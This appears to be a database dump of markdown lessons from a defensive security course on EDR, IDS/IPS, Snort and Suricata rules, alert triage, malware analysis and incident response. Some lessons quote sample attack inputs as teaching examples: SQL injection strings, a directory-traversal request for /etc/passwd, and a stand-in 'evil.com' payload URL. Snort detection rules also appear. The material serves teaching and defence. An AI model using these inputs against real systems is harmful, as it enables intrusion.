(588, 246, '## EDR Market Leaders\n\nJust like SIEM, the EDR market is consolidated around a few major players. You should recognize these names.\n\n### 1. CrowdStrike Falcon\nThe current market leader in enterprise.\n*   **Architecture**: 100% Cloud-native. The sensor on the laptop is extremely lightweight and sends telemetry to the CrowdStrike cloud.\n*   **Features**: Famous for its \"Overwatch\" service (human threat hunters at CrowdStrike who watch your alerts for you).\n*   **UI**: Known for its \"Process Tree\" visualization which set the standard for the industry.\n\n### 2. Microsoft Defender for Endpoint (MDE)\n*   **Advantage**: It is built into Windows 10/11. There is no agent to install; you just flip a switch in the cloud.\n*   **Integration**: Feeds directly into Azure Sentinel (SIEM).\n*   **Capabilities**: went from being a joke (old Windows Defender) to a top-tier Gartner leader. Excellent memory scanning.\n\n### 3. SentinelOne (Singularity)\n*   **Focus**: AI and Automation.\n*   **Feature**: \"Rollback\". If ransomware encrypts your files, SentinelOne can use Windows Shadow Copies to *undo* the encryption and restore the files automatically. This is a huge selling point.\n\n### 4. Carbon Black (VMware/Broadcom)\n*   One of the pioneers of EDR (formerly Bit9).\n*   Very granular control. Often used in high-security environments where you want to whitelist *every single file execution*.\n\n### 5. Cybereason\n*   **Focus**: \"MalOp\" (Malicious Operation). Instead of giving you 50 alerts, it groups them into 1 \"Operation\" to show the full story.\n*   **Visuals**: Very strong visualization of the attack timeline.', 'markdown', 15, '2025-12-26 22:47:08', '2025-12-29 15:05:46'),
(589, 247, '## Module 24 Review\nEDR is your specialized camera for endpoints.\n*   It tracks **Behavior** (Process Trees), not just signatures.\n*   It allows **Live Response** (Shell access, Isolation).\n*   Understanding **Parent-Child relationships** is the #1 skill for EDR analysis.\n\nNext: Intrusion Detection Systems (Network visibility).', 'markdown', 15, '2025-12-26 22:47:08', '2025-12-29 14:17:57'),
(590, 251, '## Intrusion Detection Systems (IDS): The Burglar Alarm\n\nIf EDR protects the endpoint (the house) and SIEM watches the logs (the diary), the **IDS** watches the wire (the roads leading to the house). It analyzes network packets in real-time to find attacks.\n\n### NIDS vs. HIDS\nThere are two main flavors of IDS:\n\n#### 1. Network IDS (NIDS)\n*   **Location**: Sits on the network, usually behind the firewall or plugged into a Switch Span Port (Mirror Port).\n*   **Visibility**: Sees all traffic flowing through that segment.\n*   **Blind Spot**: It cannot see *encrypted* traffic (HTTPS) unless you are doing SSL Decryption (man-in-the-middle). It also can\'t see what happens inside the host (e.g., USB insertion).\n*   **Examples**: Snort, Suricata, Zeek (Bro).\n\n#### 2. Host IDS (HIDS)\n*   **Location**: Installed on the server/laptop itself (Software Agent).\n*   **Visibility**: Sees file changes, log entries, and memory. Crucially, it sees traffic *after* it has been decrypted by the web server.\n*   **Blind Spot**: If the OS is compromised (Rootkit), the HIDS might be disabled or lied to.\n*   **Examples**: OSSEC, Wazuh Agent (which includes HIDS), Tripwire.\n\n### IDS vs. IPS (Detection vs. Prevention)\n*   **IDS (Intrusion Detection System)**:\n    *   **Mode**: Passive.\n    *   **Action**: \"I see an attack. I will send an alert to the SIEM.\"\n    *   **Traffic**: It receives a *copy* of the traffic (Tap). It does not slow down the network.\n*   **IPS (Intrusion Prevention System)**:\n    *   **Mode**: Inline (Active).\n    *   **Action**: \"I see an attack. I am dropping the packet immediately.\"\n    *   **Traffic**: All traffic flows *through* it. If the IPS crashes, the network goes down (unless you have fail-open hardware).\n\n### Why use IDS if we have Firewalls?\n*   **Firewall**: Blocks based on Rules (IP, Port). \"Allow Port 80.\"\n*   **IDS**: Inspects the *content* of the packet on Port 80. \"Is this request asking for `index.html` (Good) or is it sending `Union Select 1,2,3...` (SQL Injection)?\"\n\nA Firewall is the Bouncer who checks ID. The IDS is the Security Guard watching the dance floor for fights.', 'markdown', 15, '2025-12-26 22:50:58', '2025-12-29 15:05:57'),
(591, 252, '## Detection Methods: Signatures vs. Anomaly\n\nHow does an IDS know a packet is \"bad\"?\n\n### 1. Signature-Based Detection (The Database)\nThis is the traditional method. The IDS compares packets against a huge database of known attack patterns (Signatures).\n*   **Example**: \"If a packet contains the hex bytes `0x90909090` (NOP Sled), alert.\"\n*   **Pros**:\n    *   Low False Positives (Usually).\n    *   Fast.\n    *   Specific (Tells you exactly what the attack is: \"EternalBlue Exploit\").\n*   **Cons**:\n    *   Can only detect *known* attacks.\n    *   Useless against 0-days (Brand new exploits).\n\n### 2. Anomaly-Based Detection (The Baseline)\nAlso called \"Behavioral\". The IDS learns what \"Normal\" traffic looks like.\n*   **Learning Phase**: \"On Mondays, the Marketing Server sends 50MB of data to the Printer.\"\n*   **Detection**: \"Today (Monday), the Marketing Server sent 50GB of data to an IP in China.\" -> ALERT.\n*   **Pros**:\n    *   Can detect 0-days and unknown attacks (because the behavior is weird).\n*   **Cons**:\n    *   **High False Positives**. (Maybe the Marketing team is doing a backup? Maybe they hired a new guy who works weird hours?).\n    *   Requires a \"Training Period\" where the network must be clean (don\'t train on infected traffic!).\n\n### 3. Protocol Verification\nThe IDS knows how protocols (HTTP, DNS, TCP) *should* work.\n*   **Rule**: \"In HTTP, the Header must end with two newlines.\"\n*   **Attack**: An attacker sends a malformed header to crash the server.\n*   **Detection**: The IDS sees the protocol violation and alerts, even without a specific signature for that specific exploit tool.\n\n### The Modern Approach\nMost modern systems use **Hybrid Detection**. They use Signatures for the easy stuff and Anomaly/ML for the complex stuff.', 'markdown', 15, '2025-12-26 22:50:58', '2025-12-29 15:05:57'),
(592, 253, '## Snort: The Grandfather of IDS\n\n**Snort** (created by Sourcefire, now owned by Cisco) is the de-facto standard for NIDS. Even if you use other tools, you will likely use \"Snort Rules\" because the syntax is universal.\n\n### Snort Architecture\n1.  **Packet Decoder**: Prepares packets for inspection.\n2.  **Preprocessors**: Normalizes traffic (e.g., reassembling fragmented TCP packets so attackers can\'t hide payload by splitting it up).\n3.  **Detection Engine**: The core. Matches packets against rules.\n4.  **Logging/Alerting**: Outputs to a file, Syslog, or Database.\n\n### Snort Rule Syntax (Memorize This!)\nA Snort rule has two parts: The **Header** (Action/Protocol/IPs) and the **Options** (What to look for).\n\n`alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:\"Possible SQL Injection\"; content:\"UNION SELECT\"; nocase; sid:1000001; rev:1;)`\n\n*   `alert`: The Action. (Could be `drop`, `log`, `pass`).\n*   `tcp`: The Protocol (udp, icmp, ip).\n*   `$EXTERNAL_NET any`: Source IP and Port.\n*   `->`: Direction (One way).\n*   `$HTTP_SERVERS 80`: Destination IP and Port.\n*   `( ... )`: The Options.\n    *   `msg`: What shows up in the alert log.\n    *   `content`: The specific string to search for in the packet payload (\"UNION SELECT\").\n    *   `nocase`: Ignore Case (Select vs sELecT).\n    *   `sid`: Signature ID (Unique number).\n    *   `rev`: Revision number.\n\n### Writing a Custom Rule\nScenario: You want to detect anyone downloading a file named `confidential_salary.xlsx` via HTTP.\n`alert tcp any any -> any any (msg:\"Sensitive File Access\"; content:\"confidential_salary.xlsx\"; http_uri; sid:1000002;)`\n(Note: `http_uri` tells Snort to look only in the URI part of the packet, making it faster).\n\n### Pros and Cons\n*   **Pros**: Universal, massive community rule sets (Emerging Threats - ET Open).\n*   **Cons**: Single-threaded (historically). On 10Gbps networks, Snort execution can bottleneck one CPU core while others sit idle. (Snort 3.0 fixes this, but adoption is slow).', 'markdown', 15, '2025-12-26 22:50:58', '2025-12-29 15:05:57'),
(593, 254, '## Suricata: The Multithreaded Powerhouse\n\n**Suricata** (managed by OISF) is the modern competitor to Snort. It uses the same rule syntax (mostly) but was built for speed and deep visibility.\n\n### Key Differences from Snort\n\n#### 1. Multi-Threading\nSuricata is natively multi-threaded. If you put it on a 64-core server, it will use all 64 cores to process traffic. This allows it to handle massive bandwidth (10Gbps, 40Gbps, 100Gbps) that would choke legacy Snort.\n\n#### 2. Protocol Awareness (Application Layer)\nSuricata doesn\'t just look at bytes; it understands the \"App\".\n*   It automatically identifies HTTP, TLS, SMB, FTP, DNS.\n*   Even if you run HTTP on port 8080 (non-standard), Suricata sees the handshake and says \"This is HTTP.\"\n*   **EVE.json**: Suricata produces a rich JSON log file (`eve.json`) that logs metadata for *every* flow, not just alerts.\n    *   *Example*: It logs every TLS certificate exchange. You can investigate \"Self-Signed Certs\" or \"Expired Certs\" effortlessly.\n\n#### 3. File Extraction\nSuricata can automatically carve files out of the stream.\n*   Configuration: `file-store: yes`\n*   Result: If a user downloads a `.exe` or `.pdf`, Suricata can save a copy of that file to disk for the Malware Analysis team to sandbox later.\n\n### Zeek (Formerly Bro)\nWhile talking about Suricata/Snort, we must mention **Zeek**.\n*   **Snort/Suricata** = \"Is this bad?\" (Alerting).\n*   **Zeek** = \"What is happening?\" (Visibility).\nZeek creates transaction logs. `conn.log` (all connections), `http.log` (all web requests), `dns.log` (all resolutions).\nIt is less about signatures and more about generating high-quality structured data for your SIEM to hunt through.\n\n### Which one to choose?\n*   **Snort**: If you need lightweight, standard IPS.\n*   **Suricata**: If you have high bandwidth and want metadata (TLS/HTTP info).\n*   **Zeek**: If you want deep forensics and threat hunting capability (often run *alongside* Suricata).', 'markdown', 15, '2025-12-26 22:50:58', '2025-12-29 15:05:57'),
(594, 255, '## Analyzing IDS Alerts\n\nAs an Analyst, you will stare at IDS alerts all day. You need to quickly decide: **True Positive** (Real Attack) or **False Positive** (Noise).\n\n### The Analysis Workflow\n\n#### Step 1: Read the Rule (The \"msg\")\n*   Alert: `ET EXPLOIT Obfuscated JavaScript Exploit Kit Landing Page`\n*   Meaning: An external website tried to run a script to exploit the browser.\n\n#### Step 2: Check the Direction\n*   `External -> Internal`: Attack Attempt.\n*   `Internal -> External`: Compromise/Beaconing/Exfiltration. (These are usually scarier).\n\n#### Step 3: Check the Payload (The Packet Capture)\nMost SIEMs/IDS allow you to view the payload that triggered the alert.\n*   **Context**: Did the payload contain readable text?\n    *   Alert says \"SQL Injection\". Payload contains: `user_id=5`. -> **False Positive**. (5 is normal).\n    *   Alert says \"SQL Injection\". Payload contains: `user_id=1 OR 1=1`. -> **True Positive**.\n\n#### Step 4: Check the Response\nDid the server respond?\n*   **Request**: `GET /../../etc/passwd` (Directory Traversal).\n*   **Response**: `404 Not Found`.\n*   **Verdict**: Attempted attack, but **Failed**. (Low Priority).\n*   **Response**: `200 OK` (Followed by root:x:0:0...).\n*   **Verdict**: **Successful Compromise**. (Critical Priority).\n\n### Common False Positives\n1.  **Vulnerability Scanners**: If your creative team runs Nessus/Qualys, your IDS will light up like a Christmas tree. (Whitelist the Scanner IP).\n2.  **P2P Traffic**: Torrent apps often use strange behavior that looks like scanning.\n3.  **Encrypted Traffic**: Sometimes encrypted bytes coincidentally match a text signature. (e.g., a random string inside a JPEG image matches a \"Base64\" signature).\n\n### The \"Default Deny\" Mindset\nWhen investigating, assume it is real until proved otherwise. \"I think this is a False Positive\" is the last words of many fired analysts. Prove it.', 'markdown', 15, '2025-12-26 22:50:58', '2025-12-29 15:05:57'),
(595, 256, '## Module 25 Review\nYou studied:\n*   **NIDS vs HIDS**: Network vs Host.\n*   **Signatures**: The primary method of detection.\n*   **Snort/Suricata**: The tools of the trade.\n*   **Analysis**: Verifying if the alert was a successful attack or just noise.\n\nThis concludes the Detection Engineering section of Path 3.', 'markdown', 15, '2025-12-26 22:50:58', '2025-12-29 14:17:57'),
(596, 261, '## Malware Categories: Know Your Enemy\n\n\"Malware\" is a catch-all term for \"Malicious Software\". However, calling everything a \"Virus\" is like calling every vehicle a \"Car\" (inaccurate when it is a tank or a jet). As an analyst, you must use precise terminology.\n\n### 1. Virus\n*   **Definition**: Code that attaches itself to a legitimate program (host). It cannot run by itself. It needs you to run the host program.\n*   **Behavior**: Replicates by infecting other files.\n*   **Analogy**: A biological virus needs a human cell to reproduce.\n*   **Example**: CIH (Chernobyl), file infectors. *Rare in modern times.*\n\n### 2. Worm\n*   **Definition**: A standalone program that propagates automatically across a network. It does **not** need a host file and does **not** need user interaction.\n*   **Behavior**: Scans the network for vulnerabilities (e.g., SMB exploits), copies itself, and executes.\n*   **Impact**: Can saturate network bandwidth instantly.\n*   **Example**: **WannaCry** (spread via EternalBlue), **Conficker**, **Morris Worm**.\n\n### 3. Trojan Horse\n*   **Definition**: Malware disguised as legitimate software.\n*   **Behavior**: You think you are downloading \"Adobe Photoshop Crack.exe\" or \"Zoom_Installer.exe\". You run it, it installs the app (maybe), but also installs the malware.\n*   **Key**: It relies on **Social Engineering**, not exploits.\n*   **Example**: **Emotet** (often delivered via fake invoices), **Zeus**.\n\n### 4. Ransomware\n*   **Definition**: Malware that encrypts your files and demands payment for the decryption key.\n*   **Behavior**:\n    1.  Infects machine.\n    2.  Contacts C2 server (to generate keys).\n    3.  Encrypts documents (`.docx`, `.jpg`, `.pdf`).\n    4.  Changes wallpaper to \"YOUR FILES ARE ENCRYPTED\".\n*   **Evolution**: Modern Ransomware (Double Extortion) also *steals* your data before encrypting it, threatening to leak it if you don\'t pay.\n*   **Example**: **Ryuk**, **Conti**, **LockBit**.\n\n### 5. Rootkit\n*   **Definition**: Malware designed to hide its existence. It digs deep into the OS (Kernel level).\n*   **Behavior**: It intercepts System Calls.\n    *   You ask Windows: \"Show me all files in C:Windows\".\n    *   Windows asks Kernel.\n    *   Rootkit intercepts: \"List files, but remove \'evil.sys\' from the list.\"\n    *   Windows shows you the list. You see nothing.\n*   **Detection**: Extremely difficult. Usually requires memory forensics.\n\n### 6. Spyware / Keylogger\n*   **Definition**: Steals information.\n*   **Behavior**: Records keystrokes (passwords), takes screenshots, activates the webcam.\n*   **Example**: **Pegasus** (Mobile spyware), **Agent Tesla**.\n\n### 7. Cryptominer (Coinminer)\n*   **Definition**: Steals your CPU/GPU power to mine cryptocurrency (Monero).\n*   **Symptoms**: Computer fans spin at 100%, system becomes sluggish.\n*   **Risk**: It proves the attacker has code execution. Today it\'s a miner; tomorrow it could be Ransomware.\n\n### 8. RAT (Remote Access Trojan)\n*   **Definition**: Logic that gives the attacker full remote control (Screen, Mouse, Shell, Files).\n*   **Behavior**: It\'s like TeamViewer for hackers.\n*   **Example**: **NjRAT**, **DarkComet**.\n\n### Review\n*   If it spreads on its own -> **Worm**.\n*   If it looks like a game but isn\'t -> **Trojan**.\n*   If it locks your files -> **Ransomware**.\n*   If it hides in the kernel -> **Rootkit**.', 'markdown', 15, '2025-12-26 22:55:56', '2025-12-29 15:08:46'),
(597, 262, '## Static vs. Dynamic Analysis: Two Roads to Truth\n\nWhen you find a suspicious file (`invoice.exe`), you have two ways to analyze it.\n\n### 1. Static Analysis (The \"Autopsy\")\nExamining the file **without running it**.\nIt is safe, fast, but can be defeated by obfuscation.\n\n*   **What we look for**:\n    *   **Hashes**: MD5/SHA256. Is this file known to VirusTotal?\n    *   **Strings**: ASCII/Unicode text inside the binary.\n        *   Bad: `cmd.exe`, `Powershell -enc`, `http://evil.com/payload`.\n        *   Good: `Copyright Microsoft Corporation`.\n    *   **Imports (PE Headers)**: What Windows functions does this program use?\n        *   `InternetOpenUrl`: Connects to internet.\n        *   `GetKeyState`: Logs keystrokes?\n        *   `CryptEncrypt`: Ransomware?\n    *   **Packers**: Is the code compressed/obsfuscated (UPX)?\n\n### 2. Dynamic Analysis (The \"Sandbox\")\nRunning the file in a controlled, isolated environment to see **what it does**.\nIt is dangerous (if it escapes) but shows the true behavior.\n\n*   **What we look for**:\n    *   **Process Activity**: Did it spawn `cmd.exe`?\n    *   **File System**: Did it drop a file in `C:Temp`?\n    *   **Registry**: Did it add a Run key for persistence?\n    *   **Network**: Did it DNS query `attacker.com`?\n\n### The Hybrid Workflow\nAlways start with Static.\n1.  **Hash it**: Use `sha256sum`. Check VirusTotal. If it\'s known bad, you are done.\n2.  **Strings it**: Use `strings`. Look for IPs/URLs.\n3.  **PE Analysis**: Use `PEStudio`. Check imports.\n4.  **Sandbox it**: If Static is inconclusive, move to Dynamic. Run it in a VM (Cuckoo/Any.Run) and watch the fireworks.\n\n### Evasion Techniques\n*   **Anti-Static**:\n    *   **Packing**: Compressing the code so \"Strings\" returns garbage. The code only unpacks in memory when run.\n    *   **Obfuscation**: Changing variable names (`var a = 1`) to nonsense (`var x8z9 = 1`).\n*   **Anti-Dynamic**:\n    *   **Sleep**: \"Wait 1 hour before doing anything.\" (Sandboxes usually only run for 5 minutes).\n    *   **User Check**: \" Check if the mouse is moving. If not, I am in a sandbox. Do nothing.\"\n    *   **VM Check**: \"Check hardware ID. If it says \'VMware Virtual Disk\', do nothing.\"', 'markdown', 15, '2025-12-26 22:55:56', '2025-12-29 15:08:46'),
(598, 263, '## Setting Up a Safe Malware Lab\n\n**WARNING**: NEVER analyze malware on your host machine or your corporate workstation. One mistake and you infect the network. You need a dedicated, isolated lab.\n\n### 1. The Hypervisor\nYou need virtualization software.\n*   **VirtualBox** (Free, Open Source).\n*   **VMware Workstation** (Standard, robust).\n\n### 2. The Network Isolation (Crucial!)\nYou must ensure the malware cannot talk to your home/work network.\n*   **Host-Only Mode**: The VM can talk to the Host (and other VMs) but **cannot** access the Internet or your LAN.\n*   **Custom vNet**: Create a completely isolated virtual switch.\n*   **Fake Internet**: Use a tool like **INetSim**.\n    *   Malware: \"I want to download bad.exe from evil.com\"\n    *   INetSim: \"I am evil.com! Here is your file.\" (Sends a harmless dummy file).\n    *   *Result*: The malware runs, thinking it has internet, but is safely contained.\n\n### 3. The Analysis VMs\nYou don\'t just need a Windows 10 ISO. You need tools.\n*   **FlareVM (Windows)**: A script by Mandiant. You install a clean Windows VM, run the script, and it installs hundreds of tools (x64dbg, PEStudio, Wireshark, Process Hacker).\n*   **REMnux (Linux)**: A Linux distro built for malware analysis (like Kali, but for reverse engineering). It includes tools to analyze PDF/Office docs, decode scripts, and run INetSim.\n\n### 4. Snapshotting\nThis is the superpower of VMs.\n1.  Install Windows.\n2.  Install Tools.\n3.  Disable Windows Defender (so it doesn\'t delete your samples).\n4.  **TAKE A SNAPSHOT** (Name it: \"Clean State\").\n5.  Infect the VM. Watch it die.\n6.  **Revert to Snapshot**.\n7.  In 10 seconds, you are back to a clean state, ready for the next sample.\n\n### Lab Safety Rules\n1.  **Disconnect**: Verify network adapter is \"Host-Only\" or \"Custom\".\n2.  **No Sharing**: Disable \"Shared Folders\" between Host and Guest.\n3.  **No USB**: Do not plug USB drives into the VM.\n4.  **VPN**: If you must analyze \"live\" (letting it connect to internet), use a VPN and a \"Burner\" network separate from your company Wi-Fi.', 'markdown', 15, '2025-12-26 22:55:56', '2025-12-29 15:08:46'),
(599, 264, '## Static Analysis Tools: The Surgeon\'s Kit\n\nHere are the essential tools you will use during Static Analysis. Most are free.\n\n### 1. VirusTotal (The First Stop)\n*   **What it is**: A website that scans your file with 70+ Antivirus engines.\n*   **Usage**: Upload hash.\n*   **Verdict**:\n    *   50/70 red: Definitely Malware.\n    *   0/70 green: Clean... OR a brand new Zero-Day.\n    *   **Community Tab**: Read comments. Other analysts often post \"This is Emotet dropped via phishing.\"\n\n### 2. Strings\n*   **Command**: `strings file.exe` (Linux) or `strings.exe` (Windows Sysinternals).\n*   **Function**: Extracts printable characters.\n*   **What to hunt**:\n    *   IP Addresses (`1.2.3.4`).\n    *   URLs (`http://...`).\n    *   Filenames (`dropped_malware.exe`).\n    *   Registry Keys (`SoftwareMicrosoftWindowsCurrentVersionRun`).\n    *   Error messages (often reveal the compiler/language).\n\n### 3. PEStudio (Windows)\n*   **Function**: Deep inspection of the Portable Executable (PE) header.\n*   **Key Features**:\n    *   **Indicators**: Highlights suspicious things in red (e.g., \"File has no digital signature\", \"File references a browser\").\n    *   **Imports**: Shows what DLLs/APIs are used.\n    *   **Resources**: Sometimes malware hides a second .exe inside its \"Icon\" or \"Image\" resource section.\n\n### 4. Capa (Mandiant)\n*   **Function**: \"What does this do?\" using rules.\n*   **Output**: Instead of showing you assembly code, it says:\n    *   \"Capability: Encrypts Data using AES\"\n    *   \"Capability: Connects to HTTP\"\n    *   \"Capability: Takes Screenshot\"\n*   It\'s like Google Translate for Assembly code.\n\n### 5. PEiD / Detect It Easy (DiE)\n*   **Function**: Detects **Packers**.\n*   **Scenario**: You run `strings` and see random garbage.\n*   **DiE says**: \"Packed with UPX\".\n*   **Action**: You know you must unpack it (using `upx -d` or manual unpacking) before you can analyze it.', 'markdown', 15, '2025-12-26 22:55:56', '2025-12-29 15:08:46'),
(600, 265, '## Dynamic Analysis (Sandboxing)\n\nWhen Static Analysis hits a wall (obfuscation), we detonate the bomb in a box.\n\n### 1. Automated Sandboxes (Cuckoo / Cuckoo-Modified)\n*   **Concept**: You submit a file. The system spins up a VM, runs the file, records everything for 5 minutes, kills the VM, and gives you a report.\n*   **The Report**:\n    *   **Screenshots**: Did it pop up a Ransomware note?\n    *   **Network**: PCAPs of traffic.\n    *   **Dropped Files**: Copies of any files it created.\n    *   **API Calls**: Every interaction with Windows.\n\n### 2. Interactive Analysis (Any.Run)\n*   **Concept**: A web-based sandbox where *you* interact with the VM.\n*   **Scenario**: The malware is a Word Doc that says \"Click Enable Content\".\n    *   In Cuckoo, no one clicks it, so nothing happens.\n    *   In Any.Run, you watch the screen, you click \"Enable Content\", and BAM, the malware runs. You see the process tree explode in real-time.\n*   **Pros**: instant visibility, handles user-interaction triggers.\n\n### 3. Monitoring Tools (Manual Sandbox)\nIf you are running the malware in your own FlareVM:\n*   **Process Hacker**: Task Manager on steroids. Shows parent-child trees, memory strings, and coloring for packed processes.\n*   **Procmon (Process Monitor)**: The holy grail. Records *every* File System, Registry, and Process event.\n    *   *Tip*: It generates millions of events. Filter is your friend. `ProcessName is evil.exe`.\n*   **Regshot**:\n    1.  Take \"Shot 1\" (Registry before malware).\n    2.  Run Malware.\n    3.  Take \"Shot 2\".\n    4.  Compare. It shows you exactly what registry keys were added (Persistence).\n*   **Fiddler / Wireshark**: Capture the network traffic. Fiddler is great for decrypting HTTPs if you install its root cert.\n\n### Indicators of Compromise (IOCs)\nThe goal of Dynamic analysis is to extract IOCs to put into your SIEM/EDR.\n*   **Network IOCs**: C2 IPs, Domains, URLs to block.\n*   **Host IOCs**: File Hashes, Mutex names, Registry keys, Filenames.\n*   **Behavioral IOCs**: \"Powershell.exe connecting to the internet\".', 'markdown', 15, '2025-12-26 22:55:56', '2025-12-29 15:08:46'),
(601, 266, '## Identifying IOCs from Malware\n\nYou\'ve analyzed the malware. You have pages of notes. Now, what do you do? You need to extract **Actionable Intelligence**.\n\n### The Pyramid of Pain\nNot all IOCs are equal. David Bianco\'s \"Pyramid of Pain\" describes how hard it is for an attacker to change their IOCs vs how hard it is for you to detect them.\n\n#### 1. Hash Values (Bottom - Trivial)\n*   **What**: MD5/SHA256 of the file.\n*   **Attacker Effort**: Trivial. Change 1 byte, hash changes.\n*   **Value**: Low. Only catches that *one* specific file.\n\n#### 2. IP Addresses (Easy)\n*   **What**: C2 Server IP.\n*   **Attacker Effort**: Easy. Change IP using a Proxy/VPN.\n*   **Value**: Low/Medium. IPs serve many domains.\n\n#### 3. Domain Names (Simple)\n*   **What**: `evil.com`.\n*   **Attacker Effort**: Simple. Register a new domain (`evil2.com`).\n*   **Value**: Medium. Requires money/time for attacker.\n\n#### 4. Network/Host Artifacts (Annoying)\n*   **What**: User-Agent strings, specific registry keys, distinctive filename patterns.\n*   **Attacker Effort**: Annoying. Tthey have to rewrite their code config.\n*   **Value**: High. Catches the *tool*.\n\n#### 5. Tools (Challenging)\n*   **What**: Detecting the tool itself (e.g., Cobalt Strike beacon) regardless of config.\n*   **Attacker Effort**: Challenging. They have to write a new tool from scratch.\n\n#### 6. TTPs (Top - Tough)\n*   **What**: Tactics, Techniques, and Procedures. (Behavior).\n*   **Example**: \"Pass-the-Hash\", \"Spearphishing with Macros\".\n*   **Attacker Effort**: Tough. They have to learn a whole new way of hacking.\n*   **Value**: **Highest**. If you detect \"Pass-the-Hash\", you catch them no matter what tool they use.\n\n### Creating the Report\nYour Malware Analysis Report should contain:\n1.  **Executive Summary**: \"This is ransomware. It spreads via SMB. Risk is Critical.\"\n2.  **Technical Details**:\n    *   Packer used.\n    *   Compilation timestamp.\n    *   Capabilities.\n3.  **IOC List (The \"Blocklist\")**:\n    *   `Hash: e3b0c442...`\n    *   `Domain: update-microsoft-support.com`\n    *   `IP: 192.0.2.1`\n    *   `File: C:WindowsTempwinlogon_update.exe`\n4.  **YARA Rules**: A way to describe the malware pattern to hunt for it across the organization.', 'markdown', 15, '2025-12-26 22:55:56', '2025-12-29 15:08:46'),
(602, 267, '## Module 26 Review\nYou learned:\n1.  **Malware Types**: Ransomware vs RAT vs Worm.\n2.  **Static**: Reading strings and hashes.\n3.  **Dynamic**: Detonating in a sandbox.\n4.  **IOCs**: The output of your analysis used to protect the network.\n\nNext: How to handle the incident when the malware detection fires (Incident Response).', 'markdown', 15, '2025-12-26 22:55:56', '2025-12-29 14:19:16'),
(603, 271, '## What is Incident Response?\n\n**Incident Response (IR)** is the structured approach to addressing and managing the aftermath of a security breach or cyberattack. The goal is to handle the situation in a way that limits damage and reduces recovery time and costs.\n\n### Incident vs. Event\n*   **Event**: Any observable occurrence in a system.\n    *   *Example*: User login, firewall deny, file creation.\n    *   *Count*: Millions per day.\n*   **Alert**: An event that triggers a warning based on a rule.\n    *   *Example*: 10 Failed logins.\n*   **Incident**: A violation of security policies that threatens CIA (Confidentiality, Integrity, Availability).\n    *   *Example*: Data breach, Malware infection, Denial of Service.\n    *   *Count*: Hopefully rare.\n\n### Why do we need a Process?\nWhen a breach happens, panic sets in.\n*   \"Pull the plug!\"\n*   \"Wipe the server!\"\n*   \"Call the police!\"\n*   \"Don\'t tell anyone!\"\nWithout a plan, people make mistakes. They destroy evidence (rebooting wipes memory). They tip off the attacker. They violate legal requirements.\nIR is about **Organized Chaos Control**.\n\n### The Computer Security Incident Response Team (CSIRT)\nThe team responsible for IR.\n*   **Technical**: SOC Analysts, Forensics Experts, Malware Engineers.\n*   **Non-Technical**:\n    *   **Legal**: \"Do we have to notify the government? The customers?\"\n    *   **PR/Comms**: \"What do we tell the press?\"\n    *   **HR**: \"Was it an insider? Do we fire them?\"\n    *   **Management**: Approves decisions (e.g., \"Shut down the ecommerce site\").\n\n### The Goal of IR\n1.  **Contain**: Stop the bleeding.\n2.  **Eradicate**: Remove the infection.\n3.  **Recover**: Get back to business.\n4.  **Learn**: Don\'t let it happen again.', 'markdown', 15, '2025-12-26 23:03:48', '2025-12-29 15:08:46'),
(604, 272, '## The IR Lifecycle (NIST 800-61)\n\nThe Bible of Incident Response is **NIST Special Publication 800-61r2**. It defines the four phases of the lifecycle.\n\n### 1. Preparation\nThis happens *before* the attack.\n*   **Action**: Establishing the CSIRT, buying tools, writing playbooks, setting up communication channels.\n*   **Key**: If you aren\'t prepared, you have already failed.\n\n### 2. Detection & Analysis\nThis is where the SOC lives.\n*   **Action**: Monitoring the SIEM, triaging alerts, determining if it is a False Positive or a Real Incident.\n*   **Key**: Determining the **Scope**. Is it 1 laptop? Or the entire Domain?\n\n### 3. Containment, Eradication, & Recovery\nThe \"Fix it\" phase.\n*   **Containment**: Stop the spread. (Isolation).\n*   **Eradication**: Remove the threat (Delete malware, disable accounts).\n*   **Recovery**: Restore data from backups, patch vulnerabilities, return to normal.\n\n### 4. Post-Incident Activity (Lessons Learned)\nThe most important, yet most ignored phase.\n*   **Action**: A meeting 2 weeks later. \"What went wrong? Why didn\'t we catch it sooner? How do we improve?\"\n*   **Output**: New SIEM rules, new Playbooks, better tools.\n\n### The Feedback Loop\nIt is a cycle. The \"Lessons Learned\" feed back into \"Preparation\".\n*   \"We got hacked because we didn\'t have MFA.\"\n*   Lesson: Need MFA.\n*   Preparation: Implement MFA.\n*   Result: Next time, that attack fails.\n\n### Alternative Model: SANS PICERL\nSANS breaks it down slightly differently (6 steps):\n1.  **P**reparation\n2.  **I**dentification (Detection)\n3.  **C**ontainment\n4.  **E**radication\n5.  **R**ecovery\n6.  **L**essons Learned', 'markdown', 15, '2025-12-26 23:03:48', '2025-12-29 15:08:46'),
(605, 273, '## Phase 1: Preparation - The Shield\n\nPreparation is everything. \"Sweat more in training, bleed less in battle.\"\n\n### 1. Policy & Procedure\n*   **Incident Response Policy**: A high-level document signed by the CEO authorizing the CSIRT to act. (e.g., \"CSIRT has the authority to disconnect *any* system, even the CEO\'s laptop, if infected\").\n*   **Playbooks (Runbooks)**: Detailed step-by-step guides for specific scenarios.\n    *   *Phishing Playbook*: 1. Verify sender. 2. Delete email. 3. Check clicks.\n    *   *Ransomware Playbook*: 1. Isolate host. 2. Verify backups. 3. Contact Legal.\n\n### 2. Tools & Resources\nYou cannot install tools *during* the breach. You need them ready.\n*   **Communication**: Out-of-Band methods. If the hackers own your Email server and Slack, how do you talk? (Signal, WhatsApp, Personal emails).\n*   **War Room**: A physical or virtual room where the team gathers.\n*   **Forensic Workstations**: Laptops ready to analyze evidence.\n*   **Jump Kits**: USB drives with static binaries (triage tools) that you can plug into an infected machine.\n\n### 3. The Baseline\nYou cannot know what is \"Abnormal\" if you don\'t know what is \"Normal\".\n*   What ports are usually open?\n*   What is the average CPU usage?\n*   list of authorized Admins.\n*   **Network Diagram**: Essential. You can\'t defend a network if you don\'t know it exists.\n\n### 4. Training\n*   **Tabletop Exercises (TTX)**: Simulation games. The team sits in a room and talks through a scenario.\n    *   Moderator: \"Scenario: The CFO\'s laptop is encrypted and demanding Bitcoin. Go.\"\n    *   Analyst: \"I isolate the host.\"\n    *   Moderator: \"The host is off-site. You can\'t reach it.\"\n    *   Analyst: \"Oh... uh...\"\n    *   *Result*: Gap identified! Need a way to isolate off-site hosts.', 'markdown', 15, '2025-12-26 23:03:48', '2025-12-29 15:08:46'),
